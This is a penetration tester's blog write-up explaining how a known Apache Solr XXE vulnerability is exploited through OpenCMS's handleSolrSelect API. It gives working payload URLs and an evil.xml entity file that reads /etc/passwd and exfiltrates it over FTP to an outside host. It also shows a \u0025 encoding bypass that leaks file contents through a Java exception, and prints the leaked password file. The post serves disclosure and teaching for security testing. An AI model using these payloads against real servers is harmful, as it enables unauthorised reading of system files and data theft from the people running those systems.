Exploiting Apache Solr through OpenCMS

Tl;dr

It’s possible to exploit a known Apache Solr vulnerability through OpenCMS.

Introduction meme

Introduction meme

During one of my last Penetration Test I was asked to analyze some OpenCMS instances. Before the assessment I wasn’t really familiar with OpenCMS, so I spent some time on the official documentation in order to understand how it works, which is the default configuration and if there are some security-related configurations which I should check during the test.

What caught my eye was that OpenCMS can be configured with Apache Solr / Lucene in order to perform full-text searches. As probably most of you already know some really heavy vulnerabilities have been found in the past, which affect Apache Solr, so I decided to spend some time to understand if they are exploitable through OpenCMS or not.

Entrypoint

The very first step was to find an entrypoint in OpenCMS which allows to run Solr queries. Hopefully the handleSolrSelect REST-like API does exactly what we need.

PoC

http://opencms.tld/opencms/opencms/handleSolrSelect?fq=type:v8article

XXE detection

After the entrypoint was found, confirming the XXE was just a matter of seconds, using a very basic payload stolen from the exploit-db PoC was enough to have a ping-back from the server.

PoC

http://opencms.tld/opencms/opencms/handleSolrSelect?fq={!xmlparser%20v=%27<!DOCTYPE%20a%20SYSTEM%20"http://exfil.shielder.it/executed"><a></a>%27}

XXE limitations

Having detected that the Apache Solr XXE was triggerable via OpenCMS an OOB exfiltration was immediately tried, in particular using FTP.

For those who are not confident with OOB exfiltrations, you basically use a different channel to exfiltrate data from your target when it’s not possible to have a direct reflection of those data in the output. Common OOB methods involve DNS / HTTP / FTP / SMB requests.

An FTP server was fired on exfil.shielder.it:2121.
An HTTP server was fired on exfil.shielder.it:8080.
A file evil.xml was hosted on the HTTP server with the following content:

1
2
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://exfil.shielder.it:2121/%d;'>"> 

And the previous request was done with a slightly different payload:

http://opencms.tld/opencms/opencms/handleSolrSelect?fq={!xmlparser%20v=%27<!DOCTYPE+a+[<!ENTITY+%25+asd+SYSTEM+"http://exfil.shielder.it:8080/evil.xml">%25asd;%25c;]>a>%26rrr;</a>'}

Everything seemed to work, but I received just the first line of the /etc/passwd file. The most experienced with Java and XXEs would have probably already guessed that the Java version is too recent, so new-lines are breaking FTP commands and the good old gopher protocol is not available.

In these cases the easiest way is to abuse verbose exceptions to exfiltrate data. The idea is simple, but smart, basically you just read a file via the XXE and then you try to use its content as a path to read a second file, then you read the file-not-found exception error, telling you that the file /<content_of_the_first_file>.txt was not found. Easy win right?

Editing the previous payload was pretty easy, basically I just replaced the 'ftp://exfil.shielder.it:2121/%d;' in the evil.xml file, with a 'file:///%d;.txt'.

When I sent the request unfortunately I received a weird error with the server complaining about the impossibility to decode some URLEncoded strings.

[..]
java.lang.IllegalArgumentException: URLDecoder: Illegal hex characters in escape (%) pattern - Error at index 0 in: " a"
at java.base/java.net.URLDecoder.decode(URLDecoder.java:232)
at java.base/java.net.URLDecoder.decode(URLDecoder.java:142)
at org.opencms.i18n.CmsEncoder.decode(CmsEncoder.java:275)
at org.opencms.i18n.CmsEncoder.decode(CmsEncoder.java:251)
at org.opencms.search.solr.CmsSolrIndex.search(CmsSolrIndex.java:861)
at org.opencms.search.solr.CmsSolrIndex.select(CmsSolrIndex.java:926)
at org.opencms.main.OpenCmsSolrHandler.handle(OpenCmsSolrHandler.java:158)
at org.opencms.main.OpenCmsServlet.invokeHandler(OpenCmsServlet.java:292)
[...]

So it looks like that the server is firing an exception before the file-not-found one 🙁

XXE bypass limitations

After spending too much time encoding and decoding all the percentage symbols I went back to the Solr documentation to understand how special chars are handled and if there is something useful for my exploit.

Finally I found that Solr supports unicode and that if a \u00xx sequence is found, it is kind enough to convert it back to the corresponding unicode char. So \u0025 is converted to the percentage sign.

(Ab)using this Solr behaviour I converted all the % in my payload in \u0025, having this final payload:

http://opencms.tld/opencms/opencms/handleSolrSelect?fq={!xmlparser%20v=%27<!DOCTYPE+a+[<!ENTITY+\u0025+asd+SYSTEM+"http://exfil.shielder.it:8080/evil.xml">\u0025asd%3b\u0025c%3b]><a>%26rrr%3b</a>%27}

And boom, the file-not-found exception appeared in the response, leaking the /etc/passwd file content.

[...]
at org.opencms.search.solr.CmsSolrIndex.search(CmsSolrIndex.java:859)
at org.opencms.search.solr.CmsSolrIndex.select(CmsSolrIndex.java:926)
at org.opencms.main.OpenCmsSolrHandler.handle(OpenCmsSolrHandler.java:158)
at org.opencms.main.OpenCmsServlet.invokeHandler(OpenCmsServlet.java:292)
at org.opencms.main.OpenCmsServlet.doGet(OpenCmsServlet.java:153)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:634)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.opencms.jsp.jsonpart.CmsJsonPartFilter.doFilter(CmsJsonPartFilter.java:281)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.opencms.main.OpenCmsUrlServletFilter.doFilter(OpenCmsUrlServletFilter.java:132)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:199)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:491)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:668)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
at org.apache.coyote.ajp.AjpProcessor.service(AjpProcessor.java:394)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:764)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1388)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.base/java.lang.Thread.run(Thread.java:834)
Caused by: org.apache.solr.common.SolrException: org.apache.solr.search.SyntaxError: Error parsing XML stream:java.io.FileNotFoundException: /root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
(No such file or directory)
[...]

Final thoughts

When multiple technologies are combined together and there are some known vulnerabilities for a non exposed one, always understand how the other ones talk to the vulnerable one, in order to find potential exploit paths.

Always RTFM before spending time with a pure black-box approach.

7 min

Date

13 April 2019

Author

smaury

I’m Abdel Adim Oisfi aka smaury.
Job: CEO, Security Researcher, Penetration Tester at Shielder.
Passions: Hacking, hitchhiking, cliff jumping and skinned knees.